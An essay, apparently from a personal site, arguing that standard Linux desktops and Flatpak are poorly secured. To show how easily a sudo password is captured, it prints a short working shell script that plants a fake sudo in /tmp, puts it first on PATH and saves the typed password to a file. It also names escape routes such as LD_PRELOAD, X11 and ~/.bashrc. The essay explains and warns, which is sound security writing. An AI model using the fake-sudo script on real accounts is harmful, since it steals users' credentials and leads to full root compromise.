Linux (In)Security

Linux

Due to inevitable pedanticism, "Linux" in this article refers to a standard Linux or GNU/Linux distro.

Linux (in)security

There is a common assumption that Linux is a very secure operating system. This is very far from the truth for various different reasons.

There is no strong sandboxing in the standard desktop. This means all applications have access to each other’s data and can snoop on your personal information. Most programs are written in memory unsafe languages such as C or C++ which has been the cause of the majority of discovered security vulnerabilities and modern exploit mitigations such as Control-Flow Integrity are not widely used.

The kernel is also very lacking in security. It is a monolithic kernel written entirely in a memory unsafe language and has hundreds of bugs, many being security vulnerabilities, found each month . In fact, there are so many bugs being found in the kernel, developers can’t keep up which results in many of the bugs staying unfixed for a long time . The kernel is also decades behind in exploit mitigations and many kernel developers simply do not care enough .

On ordinary desktops, a compromised non-root user account with access to sudo is almost equal to full root compromise as there are too many ways for an attacker to retrieve the sudo password. Usually, the standard user is part of group sudo which makes this a massive issue and makes a sudo password almost security theater. For example, the attacker can exploit the plethora of keylogging opportunities such as X’s lack of GUI isolation , the many infoleaks in /proc , use LD_PRELOAD to hook into every process and so much more. Even if we mitigate every single way to log keystrokes, the attacker can just setup their own fake sudo program to grab the user password.

This is all it takes to get your sudo password:

cat <<\EOF > /tmp/sudo
#!/bin/bash
if [[ "${@}" = "" ]]; then
  /usr/bin/sudo
else
  read -s -r -p "[sudo] password for ${USER}: " password
  echo "${password}" > /tmp/password
  echo -e "\nSorry, try again."
  /usr/bin/sudo ${@}
fi
EOF
chmod +x /tmp/sudo
export PATH="/tmp:${PATH}"

away from full kernel access.

"But I harden my system!"

Standard system hardening is not enough to fix any of these massive architectural security issues. Restricting a few minor things is not going to fix this. Likewise, a few common security features distros deploy by default is also not going to fix this. Just because your distro enables a MAC framework without creating a strict policy and still running most processes unconfined, doesn't mean you can escape from these.

The hardening required for a reasonably secure Linux distro is far greater than people assume. You will need full system MAC policies, full verified boot (not just the boot chain, the entire base system), a strong sandboxing architecture, a hardened kernel, widespread use of modern exploit mitigations and plenty more.

One Linux distro that actually is working on fixing these issues is Whonix .

Flatpak

Flatpak aims to sandbox applications but its sandboxing is very flawed. It fully trusts the applications and allows them to specify their own policy. This means security is optional and apps can just choose not to be sufficiently sandboxed.

Flatpak's permissions are also far too broad to be meaningful. For example, many applications come with filesystem=home which is read-write access to the user's home directory, giving access to all of your personal files and allowing trivial escapes via writing to ~/.bashrc or similar.

Another example of Flatpak's broad permissions is how it allows unfiltered access to the X11 socket, allowing easy escapes due to X11's lack of GUI isolation. Adding X11 sandboxing via a nested X11 server such as Xpra is easy but Flatpak developers refuse to acknowledge this and continue to claim "X11 is impossible to secure" .

Even more examples of this is how Flatpak gives full access to directories such as /sys or /proc (kernel interfaces known for information leaks).

Go back